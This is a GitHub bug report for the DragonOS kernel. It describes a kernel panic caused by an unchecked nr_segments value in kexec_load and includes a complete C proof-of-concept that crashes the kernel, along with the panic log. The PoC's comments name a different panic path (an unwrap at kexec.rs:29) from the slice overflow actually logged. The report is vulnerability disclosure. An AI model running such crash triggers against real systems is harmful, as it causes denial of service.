-
-
Notifications
You must be signed in to change notification settings - Fork 179
Open
Labels
bug-report这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)enhancementNew feature or requestNew feature or request
Description
Describe the bug
A kernel panic occurs in kexec_core.rs:90 when the kexec_load syscall is called with a nr_segments parameter (4096) that exceeds the actual slice length (16). The actual error is a slice overflow: "range end index 4096 out of range for slice of length 16". The root cause is missing bounds validation for the user-provided nr_segments parameter before using it in slice operations.
image.lock().segment[..ksegments.len()].copy_from_slice(ksegments);
| image.lock().segment[..ksegments.len()].copy_from_slice(ksegments); |
To Reproduce
- Compile the program and run.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <sys/reboot.h>
/*
* PoC for triggering kexec unwrap panic in DragonOS kernel
*
* The panic occurs in machine_kexec_prepare() when control_code_page is None
* and unwrap() is called on it at line 29 of kexec.rs
*
* This program attempts to trigger kexec functionality through various means:
* 1. Direct kexec syscalls (if available)
* 2. Reboot syscalls with kexec flag
* 3. Writing to kexec-related procfs entries
*
* Note: The actual trigger depends on DragonOS's kexec implementation.
* The panic occurs when the kernel tries to prepare for kexec but the
* control_code_page field of the kimage structure is not properly initialized.
*/
#ifndef __NR_kexec_load
#define __NR_kexec_load 104 // Common syscall number, may differ on DragonOS
#endif
#ifndef __NR_kexec_file_load
#define __NR_kexec_file_load 105 // Common syscall number, may differ on DragonOS
#endif
#ifndef LINUX_REBOOT_MAGIC1
#define LINUX_REBOOT_MAGIC1 0xfee1dead
#endif
#ifndef LINUX_REBOOT_MAGIC2
#define LINUX_REBOOT_MAGIC2 672274793
#endif
int try_kexec_load_syscall() {
// Try to trigger kexec_load syscall
// This might eventually call machine_kexec_prepare in the kernel
void *kernel_buf = malloc(4096);
if (!kernel_buf) {
perror("malloc");
return -1;
}
// Fill with some dummy data
memset(kernel_buf, 0x90, 4096);
printf("Attempting kexec_load syscall...\n");
long ret = syscall(__NR_kexec_load,
(unsigned long)0x100000, // entry point
4096, // nr_segments
kernel_buf, // segments
0); // flags
if (ret == -1) {
printf("kexec_load syscall failed: %s\n", strerror(errno));
free(kernel_buf);
return -1;
}
printf("kexec_load syscall succeeded, this might trigger the panic\n");
free(kernel_buf);
return 0;
}
int try_kexec_file_load_syscall() {
// Try kexec_file_load syscall if available
printf("Attempting kexec_file_load syscall...\n");
long ret = syscall(__NR_kexec_file_load,
-1, // kernel_fd
-1, // initrd_fd
0, // cmdline_len
NULL, // cmdline
0); // flags
if (ret == -1) {
printf("kexec_file_load syscall failed: %s\n", strerror(errno));
return -1;
}
printf("kexec_file_load syscall succeeded\n");
return 0;
}
int try_reboot_kexec() {
// Try reboot with kexec flag
printf("Attempting reboot with kexec flag...\n");
// Linux uses RB_KEXEC = 0x45584543, trying similar values
long ret = syscall(SYS_reboot,
LINUX_REBOOT_MAGIC1,
LINUX_REBOOT_MAGIC2,
0x45584543, // RB_KEXEC equivalent
NULL);
if (ret == -1) {
printf("Reboot with kexec flag failed: %s\n", strerror(errno));
return -1;
}
printf("Reboot with kexec flag succeeded\n");
return 0;
}
int try_procfs_kexec() {
// Try to write to kexec-related procfs entries
const char* proc_entries[] = {
"/proc/sys/kernel/kexec_loaded",
"/proc/sys/kernel/kexec_crash_loaded",
"/sys/kernel/kexec_loaded",
"/sys/kernel/kexec_crash_loaded",
NULL
};
for (int i = 0; proc_entries[i]; i++) {
printf("Attempting to write to %s...\n", proc_entries[i]);
int fd = open(proc_entries[i], O_WRONLY);
if (fd >= 0) {
if (write(fd, "1", 1) == 1) {
printf("Successfully wrote to %s\n", proc_entries[i]);
close(fd);
return 0;
}
close(fd);
}
printf("Failed to write to %s: %s\n", proc_entries[i], strerror(errno));
}
return -1;
}
int main() {
printf("PoC: Attempting to trigger kexec unwrap panic in DragonOS\n");
printf("Target: machine_kexec_prepare() at kexec.rs:29\n");
printf("Panic occurs when control_code_page is None and unwrap() is called\n\n");
// Try various methods to trigger kexec functionality
if (try_kexec_load_syscall() == 0) {
printf("kexec_load may have triggered the panic path\n");
}
if (try_kexec_file_load_syscall() == 0) {
printf("kexec_file_load may have triggered the panic path\n");
}
if (try_reboot_kexec() == 0) {
printf("Reboot with kexec may have triggered the panic path\n");
}
if (try_procfs_kexec() == 0) {
printf("Procfs kexec operations may have triggered the panic path\n");
}
printf("\nPoC execution completed.\n");
printf("If the kernel panic was triggered, the system should have crashed.\n");
printf("If not, the kexec functionality may not be accessible from user space\n");
printf("or the panic condition requires specific kernel state.\n");
return 0;
}
Environment
- DragonOS version:feat(procfs): 增强procfs文件系统功能 (#1713) · DragonOS-Community/DragonOS@da1759e
- DADK版本:dadk 0.5.1
- Rust版本:rustc 1.91.0-nightly (ca7750494 2025-08-09)
Logs
root@dragonos:~# /bin/ex6597___home__yuchen__dragon__DragonOS__kernel__s
PoC: Attempting to trigger kexec unwrap panic in DragonOS
Target: machine_kexec_prepare() at kexec.rs:29
Panic occurs when control_code_page is None and unwrap() is called
Attempting kexec_load syscall...
[ ERROR ] (src/debug/panic/mod.rs:43) Kernel Panic Occurred. raw_pid: 20
Location:
File: src/init/kexec/kexec_core.rs
Line: 90, Column: 25
Message:
range end index 4096 out of range for slice of length 16
Rust Panic Backtrace:
[1] function:_Unwind_Backtrace() (+) 0051 address:0xffff8000004db083
Current PCB:
ProcessControlBlock { pid: AtomicRawPid { container: 20 }, tgid: RawPid(20), thread_pid: RwLock { lock: 0, data: UnsafeCell { .. } }, pid_links: [PidLink { pid: RwLock { lock: 0, data: UnsafeCell { .. } } }, PidLink { pid: RwLock}
Unknown signal (core dumped)
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
bug-report这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)enhancementNew feature or requestNew feature or request